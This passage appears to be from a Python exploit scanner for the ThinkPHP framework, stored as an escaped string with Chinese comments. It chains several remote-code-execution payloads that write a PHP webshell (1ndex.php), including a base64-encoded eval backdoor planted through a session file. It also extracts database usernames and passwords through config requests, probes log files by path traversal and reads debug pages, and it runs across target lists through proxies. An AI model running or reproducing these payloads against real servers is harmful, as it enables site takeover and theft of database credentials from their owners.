proxy_get(host, proxy)\r\n        url2 = host + '/?s=captcha&test=echo+\\'\"{}\"\\'+>>1ndex.php'.format(shell)\r\n        req_post(url2, proxies, post_payload2)\r\n        getshell_res2 = req_get(shell_url, proxies)\r\n        if getshell_res2.status_code == 200:\r\n            print(\"\\033[1;32m[+] Getshell succeed，shell address： \" + host + \"/1ndex.php\\n\\033[0m\")\r\n            fo.write('Getshell succeed，shell address： {}/1ndex.php\\n'.format(host))\r\n            success = True\r\n        else:\r\n            pass\r\n\r\n    if not success:\r\n        # ThinkPHP <= 5.0.13\r\n        post_payload3 = [r's=echo+ \"{}\" +>>1ndex.php&_method=__construct&method=&filter[]=system'.format(shell),\r\n                         r'_method=__construct&filter[]=system&mytest=echo+ \"{}\" +>>1ndex.php'.format(shell)]\r\n        for h in post_payload3:\r\n            # try:\r\n            proxies, proxy = proxy_get(host, proxy)\r\n            url3 = host + \"/?s=index/index\"\r\n            req_post(url3, proxies, h)\r\n            getshell_res3 = req_get(shell_url, proxies)\r\n            if getshell_res3.status_code == 200:\r\n                print(\"\\033[1;32m[+] Getshell succeed，shell address： \" + host + \"/1ndex.php\\n\\033[0m\")\r\n                fo.write('Getshell succeed，shell address： {}/1ndex.php\\n'.format(host))\r\n                success = True\r\n                break\r\n            else:\r\n                pass\r\n\r\n    if not success:\r\n        # 参考链接：https://www.cnblogs.com/r00tuser/p/11410157.html\r\n        sess = \"hahahatest\"\r\n        headers.update({\"Cookie\": \"PHPSESSID={}\".format(sess)})\r\n        sess_dir = 'php://filter/read=convert.base64-decode/resource=/tmp/sess_{}'.format(sess).encode(encoding=\"utf-8\")\r\n        base64_ = base64.b64encode(sess_dir).decode()\r\n        post_payload4 = r'_method=__construct&filter[]=think\\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1'\r\n        post_res = r'_method=__construct&filter[]=base64_decode&filter[]=think\\__include_file&method=get&server[]=1&get[]={}'.format(\r\n            base64_)\r\n        proxies, proxy = proxy_get(host, proxy)\r\n        url4 = host + \"/?s=captcha&test=1\"\r\n        req_post(url4, proxies, post_payload4)\r\n        shell_add_4 = host + \"/?s=captcha&r=cGhwaW5mbygpOw==\"\r\n        getshell_res4 = req_post(shell_add_4, proxies, post_res)\r\n        if ('PHP Version' in getshell_res4.text) or ('PHP Extension Build' in getshell_res4.text):\r\n            print(\r\n                \"\\033[1;32m[+] Getshell success, You can use POST \" + host + \"/?s=captcha&r=cGhwaW5mbygpOw==\\n\\033[0m\" + \"\\033[1;32m[=]  _method=__construct&filter[]=base64_decode&filter[]=think\\__include_file&method=get&server[]=1&get[]={}\\033[0m\".format(\r\n                    base64_))\r\n            print(\"\\033[1;32m[+] r 参数是命令的base64编码\\n\\033[0m\")\r\n            fo.write('Getshell succeed，shell address： {}/?s=captcha&r=cGhwaW5mbygpOw==\\n'.format(host))\r\n            fo.write('r 参数是命令的base64编码\\n')\r\n            success = True\r\n        else:\r\n            pass\r\n\r\n    if not success:\r\n        post_payload5 = r'_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]={}<?php md5(\"test\");?>'.format(\r\n            shell)\r\n        time_dir = time.strftime(\"%Y%m/%d\", time.localtime())\r\n        try:\r\n            proxies, proxy = proxy_get(host, proxy)\r\n            url5 = host + \"/?s=captcha\"\r\n            req_post(url5, proxies, post_payload5)\r\n            dir_ = \"/../../runtime/log/{}.log\".format(time_dir)\r\n            shell_url_5 = host + \"/?s=index/\\\\think\\Lang/load&file=\" + dir_\r\n            getshell_res5 = req_get(shell_url_5, proxies)\r\n            if (\"098f6bcd4621d373cade4e832627b4f6\" in getshell_res5.text):\r\n                print('\\033[1;32m[+] Getshell success: ' + shell_url_5 + \"\\n\\033[0m\")\r\n                fo.write('Getshell success: {}\\n'.format(shell_url_5))\r\n                success = True\r\n            else:\r\n                pass\r\n        except:\r\n            pass\r\n    if not success:\r\n        print(\"\\033[1;31m[!]Getshell失败！\\033[0m\")\r\n    fo.close()\r\n    return success\r\n\r\n\r\ndef get_mysql_conf(host):\r\n    fo = open('{}.txt'.format(parse.urlparse(host).hostname), 'a')\r\n    headers[\"Host\"] = parse.urlparse(host).hostname\r\n    print(\"\\033[1;34m[!] 尝试获取数据库配置:\\033[0m\")\r\n    mysql_success = False\r\n    try:\r\n        name = requests.get(url=host + \"/?s=index/think\\config/get&name=database.username\", headers=headers, timeout=5,\r\n                            verify=False, allow_redirects=False)\r\n        hostname = requests.get(url=host + \"/?s=index/think\\config/get&name=database.hostname\", headers=headers,\r\n                                timeout=5,\r\n                                verify=False, allow_redirects=False)\r\n        password = requests.get(url=host + \"/?s=index/think\\config/get&name=database.password\", headers=headers,\r\n                                timeout=5,\r\n                                verify=False, allow_redirects=False)\r\n        database = requests.get(url=host + \"/?s=index/think\\config/get&name=database.database\", headers=headers,\r\n                                timeout=5,\r\n                                verify=False, allow_redirects=False)\r\n        if len(name.text) > 0 and len(name.text) < 100:\r\n            fo.write('database username: {}\\n'.format(name.text))\r\n            print(\"\\033[1;32m[+] database username: \\033[0m\" + name.text)\r\n            mysql_success = True\r\n        if len(hostname.text) > 0 and len(hostname.text) < 100:\r\n            fo.write('database hostname: {}\\n'.format(hostname.text))\r\n            print(\"\\033[1;32m[+] database hostname: \\033[0m\" + hostname.text)\r\n        if len(password.text) > 0 and len(password.text) < 100:\r\n            fo.write('database password: {}\\n'.format(password.text))\r\n            print(\"\\033[1;32m[+] database password: \\033[0m\" + password.text)\r\n        if len(database.text) > 0 and len(database.text) < 100:\r\n            fo.write('database name: {}\\n'.format(database.text))\r\n            print(\"\\033[1;32m[+] database name: \\033[0m\" + database.text)\r\n        if not mysql_success:\r\n            print(\"\\033[1;31m[!] 数据库配置获取失败\\033[0m\")\r\n    except:\r\n        pass\r\n    fo.close()\r\n\r\n\r\ndef log_find(host):\r\n    fo = open('{}.txt'.format(parse.urlparse(host).hostname), 'a')\r\n    headers[\"Host\"] = parse.urlparse(host).hostname\r\n    print('\\033[1;34m[!] 日志文件路径探测：\\033[0m')\r\n    time_dir_5 = time.strftime(\"%Y%m/%d\", time.localtime())\r\n    # thinkphp 5 主日志 info\r\n    log_dir_info_5 = host + \"/../../runtime/log/{}.log\".format(time_dir_5)\r\n    # 错误日志 error\r\n    log_dir_error_5 = host + \"/../../runtime/log/{}_error.log\".format(time_dir_5)\r\n    # sql日志 sql\r\n    log_dir_sql_5 = host + \"/../../runtime/log/{}_sql.log\".format(time_dir_5)\r\n    try:\r\n        info_res = requests.get(url=log_dir_info_5, headers=headers, timeout=5, verify=False, allow_redirects=False)\r\n        error_res = requests.get(url=log_dir_error_5, headers=headers, timeout=5, verify=False, allow_redirects=False)\r\n        sql_res = requests.get(url=log_dir_sql_5, headers=headers, timeout=5, verify=False, allow_redirects=False)\r\n        if info_res.status_code == 200 and (\r\n                (\"[ info ]\" in info_res.text) or (\"[ sql ]\" in info_res.text) or (\"[ error ]\" in info_res.text)):\r\n            fo.write('info日志存在: {}\\n'.format(log_dir_info_5))\r\n            print(\"\\033[1;32m[+] info日志存在: \\033[0m\" + log_dir_info_5)\r\n        if error_res.status_code == 200 and (\r\n                (\"[ info ]\" in error_res.text) or (\"[ sql ]\" in error_res.text) or (\"[ error ]\" in error_res.text)):\r\n            fo.write('error日志存在: {}\\n'.format(log_dir_error_5))\r\n            print(\"\\033[1;32m[+] error日志存在: \\033[0m\" + log_dir_error_5)\r\n        if sql_res.status_code == 200 and (\r\n                (\"[ info ]\" in sql_res.text) or (\"[ sql ]\" in sql_res.text) or (\"[ error ]\" in sql_res.text)):\r\n            fo.write('sql日志存在: {}\\n'.format(log_dir_sql_5))\r\n            print(\"\\033[1;32m[+] sql日志存在: \\033[0m\" + log_dir_sql_5)\r\n    except:\r\n        print(\"\\033[1;31m网络出错！\\033[0m\")\r\n\r\n    # thinkphp 3 日志\r\n    time_dir_3 = time.strftime(\"%y_%m_%d\", time.localtime())\r\n    log_dir_3_1 = host + \"/Application/Runtime/Logs/Home/{}.log\".format(time_dir_3)\r\n    log_dir_3_2 = host + \"/Runtime/Logs/Home/{}.log\".format(time_dir_3)\r\n    log_dir_3_3 = host + \"/Runtime/Logs/Common/{}.log\".format(time_dir_3)\r\n    log_dir_3_4 = host + \"/Application/Runtime/Logs/Common/{}.log\".format(time_dir_3)\r\n    log_dir_3_5 = host + \"/App/Runtime/Logs/Home/{}.log\".format(time_dir_3)\r\n    log_dir_3 = [log_dir_3_1, log_dir_3_2, log_dir_3_3, log_dir_3_4, log_dir_3_5]\r\n    for i in log_dir_3:\r\n        try:\r\n            log_3_res = requests.get(url=i, headers=headers, timeout=5, verify=False, allow_redirects=False)\r\n            log_3_res.encoding = 'utf-8'\r\n            if log_3_res.status_code == 200 and (\r\n                    (\"INFO:\" in log_3_res.text) or (\"SQL语句\" in log_3_res.text) or (\"ERR:\" in log_3_res.text)):\r\n                fo.write('日志存在: {}\\n'.format(i))\r\n                print(\"\\033[1;32m[+] 日志存在: \\033[0m\" + i)\r\n            else:\r\n                pass\r\n        except:\r\n            print(\"\\033[1;31m网络出错！\\033[0m\")\r\n    fo.close()\r\n\r\n\r\ndef check_dubug(host):\r\n    fo = open('{}.txt'.format(parse.urlparse(host).hostname), 'a')\r\n    headers[\"Host\"] = parse.urlparse(host).hostname\r\n    div_html_5 = ''\r\n    div_html_3 = ''\r\n    print(\"\\033[1;34m[+] 检测Debug模式是否开启: \\033[0m\")\r\n    debug_bool = False\r\n    url_debug = [\"indx.php\", \"/index.php/?s=index/inex/\"]\r\n    for i in url_debug:\r\n        try:\r\n            res_debug = requests.get(url=host + i, headers=headers, timeout=5, verify=False, allow_redirects=False)\r\n            res_debug.encoding = 'utf-8'\r\n            if (\"Environment Variables\" in res_debug.text) or (\"错误位置\" in res_debug.text):\r\n                print(\"\\033[1;32m[+] Debug 模式已开启！\\033[0m\")\r\n                debug_bool = True\r\n                res_debug_html = BeautifulSoup(res_debug.text, 'html.parser')\r\n                div_html_5 = res_debug_html.findAll('div', {'class': 'clearfix'})\r\n                div_html_3 = res_debug_html.find('sup')\r\n                div_html_3_path = res_debug_html('div', {'class': 'text'})\r\n                break\r\n        except:\r\n            print(\"\\033[1;31m[+] 检测出错\\033[0m\")\r\n    if debug_bool == False:\r\n        print(\"\\033[1;31m[+] Debug 模式未开启！\\033[0m\")\r\n    if debug_bool:\r\n        if div_html_5:\r\n            for j in div_html_5:\r\n                if j.strong.text == 'THINK_VERSION':\r\n                    fo.write('ThinkPHP Version: {}\\n'.format(j.small.text.strip()))\r\n                    print(\"\\033[1;32m[+] ThinkPHP Version: {}\\033[0m\".format(j.small.text.strip()))\r\n                if j.strong.text == 'DOCUMENT_ROOT':\r\n                    fo.write('DOCUMENT ROOT: {}\\n'.format(j.small.text.strip()))\r\n                    print(\"\\033[1;32m[+] DOCUMENT ROOT: {}\\033[0m\".format(j.small.text.strip()))\r\n                if j.strong.text == 'SERVER_ADDR':\r\n                    fo.write('SERVER ADDR: {}\\n'.format(j.small.text.strip()))\r\n                    print(\"\\033[1;32m[+] SERVER ADDR: {}\\033[0m\".format(j.small.text.strip()))\r\n                if j.strong.text == 'LOG_PATH':\r\n                    fo.write('LOG PATH: {}\\n'.format(j.small.text.strip()))\r\n                    print(\"\\033[1;32m[+] LOG PATH: {}\\033[0m\".format(j.small.text.strip()))\r\n        elif div_html_3 and div_html_3_path:\r\n            fo.write('ThinkPHP Version: {}\\n'.format(div_html_3.text))\r\n            fo.write('ThinkPHP Path: {}\\n'.format(div_html_3_path[0].p.text))\r\n            print(\"\\033[1;32m[+] ThinkPHP Version: {}\\033[0m\".format(div_html_3.text))\r\n            print(\"\\033[1;32m[+] ThinkPHP Path: {}\\033[0m\".format(div_html_3_path[0].p.text))\r\n    fo.close()\r\n\r\n\r\ndef check_host(host):\r\n    if not host.startswith(\"http\"):\r\n        print('\\033[1;31m[x] ERROR: Host \"{}\" should start with http or https\\n\\033[0m'.format(host))\r\n        return False\r\n    else:\r\n        return True\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    parser = argparse.ArgumentParser(description='Thinkphp Scan')\r\n    parser.add_argument(\r\n        \"-u\", \"--url\", help='Start scanning url -u xxx.com')\r\n    parser.add_argument(\"-f\", \"--file\", help='read the url from the file')\r\n    parser.add_argument(\"-p\", \"--proxy\", help='use HTTP/HTTPS proxy')\r\n    parser.add_argument(\"--shell\", help='try to get shell', action='store_true')\r\n    args = parser.parse_args()\r\n    if args.url and check_host(args.url):\r\n        if args.proxy:\r\n            fo = open(args.proxy, 'r')\r\n            proxy = fo.readlines()\r\n            fo.close()\r\n        else:\r\n            proxy = False\r\n        print(\"\\033[1;34m[!][!][!] {} Start\\033[0m\".format(args.url))\r\n        log_find(args.url)\r\n        check_dubug(args.url)\r\n        try:\r\n            think_rce_check(args.url, proxy)\r\n        except:\r\n            pass\r\n        get_mysql_conf(args.url)\r\n        if args.shell:\r\n            getshell(args.url, proxy)\r\n    if args.file:\r\n        f = open(args.file, \"r\")\r\n        host = f.readlines()\r\n        count = 0\r\n        for i in host:\r\n            if args.proxy:\r\n                fo = open('proxy.txt', 'r')\r\n                proxy = fo.readlines()\r\n                fo.close()\r\n            else:\r\n                proxy = False\r\n            url = i.strip('\\n')\r\n            print(\"\\033[1;34m[!][!][!] {} Start\\033[0m\".format(url))\r\n            if check_host(url):\r\n                log_find(url)\r\n                check_dubug(url)\r\n                try:\r\n                    think_rce_check(url, proxy)\r\n                except:\r\n                    pass\r\n                get_mysql_conf(url)\r\n                if args.shell:\r\n                    getshell(url, proxy)\r\n            count = count + 1\r\n            print(\"进度:{0}%\".format(round(count * 100 / len(host))), end='\\r')\r\n            time.sleep(0.2)\r\n"
  }
]